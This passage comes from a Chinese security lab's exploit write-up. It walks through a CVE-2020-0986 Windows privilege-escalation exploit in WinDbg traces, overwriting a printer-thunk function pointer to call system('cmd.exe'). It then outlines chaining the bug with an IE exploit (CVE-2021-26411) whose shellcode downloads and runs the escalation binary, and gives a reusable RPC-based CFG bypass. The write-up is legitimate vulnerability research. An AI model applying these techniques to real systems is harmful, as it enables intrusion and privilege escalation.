r10=00000fff5920c6c0r11=000000000267f150 r12=0000000000000000 r13=0000000000000001r14=0000000000000010 r15=0000000000000000iopl=0 nv up ei ng nz ac po cycs=0033 ss=002b  ds=002b  es=002b  fs=0053 gs=002b             efl=00000297gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)0:006> pgdi32full!GdiPrinterThunk+0x1fd4f:00007ffa`c71c56ff 90 nop0:006> dq 00000000`00a20060 l200000000`00a20060 07ffa3f6`68d74000 00000000`00000000

将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。

0:006> gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)0:006> rrax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9 r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0r11=000000000267f150 r12=0000000000000000 r13=0000000000000001r14=0000000000000010 r15=0000000000000000iopl=0 nv up ei ng nz ac po cycs=0033 ss=002b  ds=002b  es=002b  fs=0053 gs=002b             efl=00000297gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)0:006> dq 00007ffac72e31e800007ffa`c72e31e8 07ffa3f6`68d74000 07ffa3f6`0399400000007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf400000007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d25400000007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d9400000007ffa`c72e3228 00080000`00000000 07ffa3f6`695f400000007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd1400000007ffa`c72e3248 00000000`00000000 00000000`0000000000007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff0:006> pgdi32full!GdiPrinterThunk+0x1fd4f:00007ffa`c71c56ff 90 nop0:006> dq 00007ffac72e31e800007ffa`c72e31e8 07ffa46a`c7c34000 07ffa3f6`0399400000007ffa`c72e31f8 07ffa3f6`038b4000 07ffa3f6`6adf400000007ffa`c72e3208 07ffa3f6`03a54000 07ffa3f6`0d25400000007ffa`c72e3218 07ffa3f6`0b0f4000 07ffa3f6`06d9400000007ffa`c72e3228 00080000`00000000 07ffa3f6`695f400000007ffa`c72e3238 07ffa3f6`09a04000 07ffa3f6`6fd1400000007ffa`c72e3248 00000000`00000000 00000000`0000000000007ffa`c72e3258 00000000`00000000 ffffffff`ffffffff

最后再发送一次LPC消息，同时在LPC消息中包含system函数的参数，实现漏洞利用

0:006> gdi32full!GdiPrinterThunk+0x2ac:00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c340000:006> ln 00007ffa`c72e31e8Browse moduleSet bu breakpoint(00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolModeExact matches:0:006> pgdi32full!GdiPrinterThunk+0x2b3:00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}0:006> pgdi32full!GdiPrinterThunk+0x2ba:00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]0:006> ln raxBrowse moduleSet bu breakpoint(00007ffa`c8f87ec0)   msvcrt!system   |  (00007ffa`c8f87fe0)   msvcrt!capture_argvExact matches:0:006> gdi32full!GdiPrinterThunk+0x2bf:00007ffa`c71a5c6f 488b4f50        mov     rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a208000:006> gdi32full!GdiPrinterThunk+0x2c3:00007ffa`c71a5c73 448b4f3c        mov     r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020..................................................................................................................0:006> tntdll!LdrpDispatchUserCallTarget:00007ffa`c946c590 4c8b1de9dd0e00  mov     r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000..................................................................................................................0:006> ntdll!LdrpDispatchUserCallTarget+0x3b:00007ffa`c946c5cb 48ffe0          jmp     rax {msvcrt!system (00007ffa`c8f87ec0)}0:006> da rcx00000000`00a20200 "cmd.exe"

至此，我们已经完成的CVE-2020-0986的提权EXP编写。

结合CVE-2021-26411漏洞实现IE沙箱逃逸

参考 @iamelli0t师傅在看雪SDC的演讲，IE漏洞和提权漏洞结合流程如下：

利用IE漏洞实现RCE，执行的shellcode功能为，反射注入一个DLL。
DLL的功能为远程下载并执行提权exe。

如上图所示，CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸，拿到Medium Integrity权限的shell。

题外话

CVE-2021-26411的EXP中使用Windows RPC的方式绕过CFG，这种手法较为新颖，简单使用， @iamelli0t师傅在他的博客中也提到 “有理由相信，它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。

CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下：

利用漏洞构造一个任意地址读写原语
 替换虚表函数指针实现 JavaScript代码调用rpcrt4!NdrServerCall2 
 伪造RPC_MESSAGE
 利用JavaScript调用rpcrt4!NdrServerCall2，执行VirtualProtect，修改RPCRT4!__guard_check_icall_fptr的内存属性
 替换ntdll!LdrpValidateUserCallTarget指针为KiFastSystemCallRet 
 将第4步修改的内存属性改回原属性
 利用JavaScript调用rpcrt4!NdrServerCall2执行shellcode

本人研究完 CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的，也就是说，在其他漏洞中只要能构造出任意地址读写原语，那一般都可以直接复用此RPC手法实现bypass CFG，一番研究后，本人在CVE-2020-17053上实现了此RPC手法bypass CFG，这里就不再展示。

作者：Muoziiy@天玄安全实验室[出自:jiwo.org]
更多内容请前往微信公众号：天玄安全实验室